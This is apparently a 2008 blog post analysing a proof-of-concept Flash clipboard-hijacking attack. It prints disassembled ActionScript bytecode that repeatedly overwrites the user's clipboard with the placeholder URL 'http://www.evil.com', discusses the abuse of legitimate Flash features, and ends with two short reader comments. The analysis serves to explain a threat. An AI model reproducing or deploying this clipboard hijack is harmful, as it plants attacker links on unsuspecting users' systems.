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Clipboard Hijacking SWF PoC

Thank God, I’m back …

So, the SWF PoC (proof-of-concept) Clipboard hijacking works in cross-platform (Windows and Mac browser). The sneaky behavior does not exploit any vulnerability instead it uses a legitimate ActionScript as mentioned in my previous post.  Basically, if you refer SWF File Format Specification 9 – SWF 9 introduced ActionScript 3.0 with new DoABC (Do ActionScript Byte Code)  action-definition tags. Like DoAction tags, DoABC defines a series of bytecode to be executed. However, this time DoABC tag run in ActionScript 3.0 virtual machines [For further reading -> VM2 Overview].

From the PoC that was published…

// Defining the symbolclass "test_fla.MainTimeline" into the package
[052]       515 DOABC
class [package]test_fla:MainTimeline extends [package]flash.display:MovieClip, test_fla:MainTimeline, flags=08

{ // test_fla:frame1

constructor ---- [package]test_fla:MainTimeline()
[3 1 10 11 0]
constructsuper 0 params
findpropstrict [package]:addFrameScript
pushbyte 00
getlex [packageinternal]test_fla:frame1
callpropvoid [package]:addFrameScript, 2 params
//test_fla:frame1() executes setClip()

method ---- [packageinternal]test_fla:frame1()
[3 1 10 11 0]
findpropstrict [package]flash.utils:setInterval
getlex [package]:setClip
pushbyte 01
callpropvoid [package]flash.utils:setInterval, 2 params

// setClip() push "http://www.evil.com" users' clipboard
method ---- [package]:setClip()
[2 1 10 11 0]
getlex [package]flash.system:System
pushstring "http://www.evil.com"
callpropvoid [package]:setClipboard, 1 params
} }

The interesting part here is not the code, instead the legitimate features and capability that allows it to  cross over boundaries and user systems’ security perimeter making it intrusive, sneaky and potential vector for attackers and malwares.

Should developers must make sure that their processes have their own execution domain?

So, whose fault is this ?

  1. September 22, 2008 at 4:38 pm

    thank you, bro

  2. October 6, 2008 at 12:33 am

    thats for sure, man

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